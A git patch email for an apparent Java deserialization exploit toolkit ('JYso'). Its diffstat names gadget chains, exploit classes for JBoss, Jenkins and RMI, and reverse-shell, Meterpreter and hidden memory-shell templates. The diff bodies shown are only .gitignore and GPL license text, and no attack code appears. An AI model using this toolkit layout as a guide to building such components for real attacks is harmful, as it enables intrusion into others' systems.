From 2dfb53a66d0b367159fe2db659ebc67f9c1fe1d5 Mon Sep 17 00:00:00 2001 From: qi4l Date: Tue, 28 Apr 2026 21:30:45 +0800 Subject: [PATCH] refactor: mac --- .gitignore | 10 +- LICENSE.txt | 1346 ++++++++--------- README.en.md | 174 +-- README.md | 178 +-- build.gradle | 286 ++-- docs/directory_structure.md | 142 +- gradle/libs.versions.toml | 18 +- gradle/wrapper/gradle-wrapper.properties | 5 +- gradlew | 498 +++--- gradlew.bat | 184 +-- settings.gradle | 2 +- src/main/java/com/qi4l/JYso/HTTPServer.java | 1160 +++++++------- src/main/java/com/qi4l/JYso/LdapServer.java | 242 +-- src/main/java/com/qi4l/JYso/LdapsServer.java | 116 +- src/main/java/com/qi4l/JYso/Starter.java | 82 +- .../JYso/controllers/BasicController.java | 346 ++--- .../JYso/controllers/GroovyController.java | 142 +- .../qi4l/JYso/controllers/LdapController.java | 26 +- .../qi4l/JYso/controllers/LdapMapping.java | 24 +- .../JYso/controllers/MemoryXXEController.java | 130 +- .../controllers/SerializedDataController.java | 236 +-- .../JYso/controllers/SnakeYamlController.java | 142 +- .../JYso/controllers/XStreamController.java | 184 +-- .../JYso/controllers/jdbcController1.java | 192 +-- .../JYso/controllers/jdbcController2.java | 226 +-- .../JYso/controllers/ldap2rmiController.java | 86 +- .../JYso/controllers/utils/JNDIUtils.java | 78 +- .../com/qi4l/JYso/enumtypes/GadgetType.java | 16 +- .../com/qi4l/JYso/enumtypes/PayloadType.java | 94 +- .../JYso/enumtypes/WebsphereActionType.java | 14 +- .../exceptions/IncorrectParamsException.java | 22 +- .../UnSupportedActionTypeException.java | 22 +- .../UnSupportedGadgetTypeException.java | 22 +- .../UnSupportedPayloadTypeException.java | 22 +- .../java/com/qi4l/JYso/exploit/JBoss.java | 752 ++++----- .../com/qi4l/JYso/exploit/JMXInvokeMBean.java | 86 +- .../exploit/JRMPClassLoadingListener.java | 96 +- .../com/qi4l/JYso/exploit/JRMPClient.java | 264 ++-- .../com/qi4l/JYso/exploit/JRMPListener.java | 578 +++---- src/main/java/com/qi4l/JYso/exploit/JSF.java | 158 +- .../com/qi4l/JYso/exploit/JenkinsCLI.java | 238 +-- .../qi4l/JYso/exploit/JenkinsListener.java | 402 +++-- .../com/qi4l/JYso/exploit/JenkinsReverse.java | 158 +- .../com/qi4l/JYso/exploit/RMIBindExploit.java | 222 +-- .../com/qi4l/JYso/gadgets/AspectJWeaver.java | 128 +- .../com/qi4l/JYso/gadgets/AspectJWeaver2.java | 190 +-- .../com/qi4l/JYso/gadgets/BeanShell1.java | 78 +- .../com/qi4l/JYso/gadgets/BeanShell2.java | 98 +- src/main/java/com/qi4l/JYso/gadgets/C3P0.java | 184 +-- .../java/com/qi4l/JYso/gadgets/C3P02.java | 168 +- .../java/com/qi4l/JYso/gadgets/C3P03.java | 154 +- .../java/com/qi4l/JYso/gadgets/C3P04.java | 308 ++-- .../java/com/qi4l/JYso/gadgets/C3P092.java | 198 +-- .../java/com/qi4l/JYso/gadgets/C3P0JDBC.java | 78 +- .../java/com/qi4l/JYso/gadgets/C3P0JNDI.java | 82 +- .../java/com/qi4l/JYso/gadgets/C3P0JNDI2.java | 80 +- .../qi4l/JYso/gadgets/C3P0RefDataSource.java | 30 +- .../JYso/gadgets/C3P0WrapperConnPool.java | 84 +- .../java/com/qi4l/JYso/gadgets/Click1.java | 156 +- .../java/com/qi4l/JYso/gadgets/Clojure.java | 102 +- .../com/qi4l/JYso/gadgets/Config/Config.java | 348 ++--- .../JYso/gadgets/Config/MemShellPayloads.java | 54 +- .../qi4l/JYso/gadgets/Config/ysoserial.java | 382 ++--- .../java/com/qi4l/JYso/gadgets/Fastjson1.java | 90 +- .../com/qi4l/JYso/gadgets/FileUpload1.java | 140 +- .../java/com/qi4l/JYso/gadgets/Groovy1.java | 50 +- .../com/qi4l/JYso/gadgets/Hibernate1.java | 350 ++--- .../com/qi4l/JYso/gadgets/Hibernate2.java | 112 +- .../com/qi4l/JYso/gadgets/Hibernate3JDBC.java | 104 +- .../qi4l/JYso/gadgets/JBossInterceptors1.java | 36 +- .../java/com/qi4l/JYso/gadgets/JRE8u20.java | 212 +-- .../java/com/qi4l/JYso/gadgets/JRE8u20_2.java | 146 +- .../com/qi4l/JYso/gadgets/JRMPClient.java | 132 +- .../JYso/gadgets/JRMPClient_Activator.java | 76 +- .../com/qi4l/JYso/gadgets/JRMPClient_Obj.java | 32 +- .../com/qi4l/JYso/gadgets/JRMPListener.java | 94 +- .../java/com/qi4l/JYso/gadgets/JSON1.java | 180 +-- .../java/com/qi4l/JYso/gadgets/Jackson1.java | 92 +- .../java/com/qi4l/JYso/gadgets/Jackson2.java | 96 +- .../java/com/qi4l/JYso/gadgets/Jackson3.java | 250 +-- .../java/com/qi4l/JYso/gadgets/Jackson4.java | 88 +- .../qi4l/JYso/gadgets/JacksonLdapAttr.java | 124 +- .../com/qi4l/JYso/gadgets/JavassistWeld1.java | 180 +-- .../com/qi4l/JYso/gadgets/JdbcRowSet.java | 20 +- .../java/com/qi4l/JYso/gadgets/Jdk7u21.java | 202 +-- .../com/qi4l/JYso/gadgets/Jdk7u21variant.java | 98 +- .../java/com/qi4l/JYso/gadgets/Jython1.java | 200 +-- .../com/qi4l/JYso/gadgets/MozillaRhino1.java | 144 +- .../com/qi4l/JYso/gadgets/MozillaRhino2.java | 210 +-- .../java/com/qi4l/JYso/gadgets/Myfaces1.java | 168 +- .../java/com/qi4l/JYso/gadgets/Myfaces2.java | 58 +- .../com/qi4l/JYso/gadgets/ObjectPayload.java | 152 +- src/main/java/com/qi4l/JYso/gadgets/ROME.java | 84 +- .../java/com/qi4l/JYso/gadgets/ROME2.java | 74 +- .../java/com/qi4l/JYso/gadgets/ROME3.java | 48 +- .../java/com/qi4l/JYso/gadgets/ROMEJDBC.java | 74 +- .../gadgets/ReleaseableObjectPayload.java | 12 +- .../com/qi4l/JYso/gadgets/RenderedImage.java | 114 +- .../java/com/qi4l/JYso/gadgets/Resin.java | 158 +- .../com/qi4l/JYso/gadgets/SignedObject.java | 510 +++---- .../java/com/qi4l/JYso/gadgets/Spring1.java | 150 +- .../java/com/qi4l/JYso/gadgets/Spring2.java | 128 +- .../java/com/qi4l/JYso/gadgets/Spring3.java | 46 +- .../java/com/qi4l/JYso/gadgets/URLDNS.java | 1246 +++++++-------- .../qi4l/JYso/gadgets/UnixPrintService.java | 38 +- .../JYso/gadgets/UnixPrintServiceLookup.java | 42 +- .../java/com/qi4l/JYso/gadgets/Vaadin1.java | 150 +- .../java/com/qi4l/JYso/gadgets/Wicket1.java | 206 +-- .../qi4l/JYso/gadgets/annotation/Authors.java | 146 +- .../JYso/gadgets/annotation/Dependencies.java | 92 +- .../java/com/qi4l/JYso/gadgets/cb160.java | 90 +- .../java/com/qi4l/JYso/gadgets/cb183.java | 50 +- .../java/com/qi4l/JYso/gadgets/cb192.java | 60 +- .../qi4l/JYso/gadgets/cb_AttrCompare183.java | 128 +- .../qi4l/JYso/gadgets/cb_AttrCompare192.java | 58 +- .../java/com/qi4l/JYso/gadgets/cb_JDBC.java | 78 +- .../java/com/qi4l/JYso/gadgets/cb_JNDI.java | 74 +- .../cb_ObjectToStringComparator183.java | 60 +- .../JYso/gadgets/cb_PropertySource183.java | 56 +- .../JYso/gadgets/cb_PropertySource192.java | 70 +- src/main/java/com/qi4l/JYso/gadgets/cc1.java | 136 +- src/main/java/com/qi4l/JYso/gadgets/cc10.java | 86 +- src/main/java/com/qi4l/JYso/gadgets/cc11.java | 86 +- src/main/java/com/qi4l/JYso/gadgets/cc12.java | 84 +- src/main/java/com/qi4l/JYso/gadgets/cc13.java | 70 +- src/main/java/com/qi4l/JYso/gadgets/cc2.java | 66 +- src/main/java/com/qi4l/JYso/gadgets/cc3.java | 98 +- src/main/java/com/qi4l/JYso/gadgets/cc4.java | 112 +- .../java/com/qi4l/JYso/gadgets/cc4_17.java | 98 +- src/main/java/com/qi4l/JYso/gadgets/cc5.java | 130 +- src/main/java/com/qi4l/JYso/gadgets/cc6.java | 98 +- src/main/java/com/qi4l/JYso/gadgets/cc7.java | 102 +- src/main/java/com/qi4l/JYso/gadgets/cc8.java | 54 +- src/main/java/com/qi4l/JYso/gadgets/cc9.java | 70 +- src/main/java/com/qi4l/JYso/gadgets/cck1.java | 90 +- src/main/java/com/qi4l/JYso/gadgets/cck2.java | 78 +- src/main/java/com/qi4l/JYso/gadgets/cck3.java | 70 +- src/main/java/com/qi4l/JYso/gadgets/cck4.java | 70 +- .../java/com/qi4l/JYso/gadgets/springFs.java | 206 +-- .../com/qi4l/JYso/gadgets/utils/ByteUtil.java | 70 +- .../JYso/gadgets/utils/ClassByteChange.java | 114 +- .../qi4l/JYso/gadgets/utils/ClassFiles.java | 88 +- .../gadgets/utils/DynamicDependencies.java | 14 +- .../com/qi4l/JYso/gadgets/utils/Gadgets.java | 572 +++---- .../com/qi4l/JYso/gadgets/utils/HexUtils.java | 68 +- .../com/qi4l/JYso/gadgets/utils/InjShell.java | 144 +- .../qi4l/JYso/gadgets/utils/JavaVersion.java | 80 +- .../qi4l/JYso/gadgets/utils/Reflections.java | 178 +-- .../qi4l/JYso/gadgets/utils/Serializer.java | 472 +++--- .../JYso/gadgets/utils/SignedObjectUtils.java | 42 +- .../qi4l/JYso/gadgets/utils/StringUtil.java | 134 +- .../JYso/gadgets/utils/SuClassLoader.java | 16 +- .../JYso/gadgets/utils/TemplatesUtil.java | 214 +-- .../gadgets/utils/ThirdLibsClassLoader.java | 306 ++-- .../com/qi4l/JYso/gadgets/utils/Utils.java | 702 ++++----- .../utils/beanshell/BeanShellUtil.java | 54 +- .../gadgets/utils/cc/TransformerUtil.java | 152 +- .../gadgets/utils/clojure/ClojureUtil.java | 50 +- .../gadgets/utils/dirty/DirtyDataWrapper.java | 222 +-- .../gadgets/utils/dirty/RandomString.java | 114 +- .../utils/handle/ClassFieldHandler.java | 80 +- .../utils/handle/ClassMethodHandler.java | 154 +- .../utils/handle/ClassNameHandler.java | 240 +-- .../gadgets/utils/handle/GlassHandler.java | 118 +- .../qi4l/JYso/gadgets/utils/jdk17Bypass.java | 142 +- .../gadgets/utils/jre/HandleContainer.java | 98 +- .../gadgets/utils/jre/ReferencableObject.java | 42 +- .../JYso/gadgets/utils/jre/Serialization.java | 294 ++-- .../gadgets/utils/jre/SerializedElement.java | 16 +- .../JYso/gadgets/utils/jre/TCBlockData.java | 86 +- .../JYso/gadgets/utils/jre/TCClassDesc.java | 250 +-- .../JYso/gadgets/utils/jre/TCJavaObject.java | 56 +- .../qi4l/JYso/gadgets/utils/jre/TCObject.java | 260 ++-- .../gadgets/utils/jre/TCProxyClassDesc.java | 42 +- .../JYso/gadgets/utils/jre/TCReference.java | 32 +- .../qi4l/JYso/gadgets/utils/jre/TCString.java | 64 +- .../com/qi4l/JYso/gadgets/utils/jre/Util.java | 44 +- .../UTF8OverlongObjectOutputStream.java | 256 ++-- .../JYso/template/ClassLoaderTemplate.java | 170 +-- .../template/DefineClassFromParameter.java | 188 +-- .../JYso/template/HideMemShellTemplate.java | 162 +- .../com/qi4l/JYso/template/Meterpreter.java | 276 ++-- .../JYso/template/ReverseShellTemplate.java | 330 ++-- .../java/com/qi4l/JYso/template/Template.java | 18 +- src/test/java/Main.java | 32 +- .../java/com/example/demo/demos/web/Test.java | 56 +- .../com/example/demo/demos/web/secCig.java | 42 +- 187 files changed, 14678 insertions(+), 14681 deletions(-) diff --git a/.gitignore b/.gitignore index a605c62..4939178 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,6 @@ -.idea/ -.gradle/ -out/ -.DS_Store -/build +.idea/ +.gradle/ +out/ +.DS_Store +/build 1.ser \ No newline at end of file diff --git a/LICENSE.txt b/LICENSE.txt index 30ace6a..bb4435f 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,674 +1,674 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. 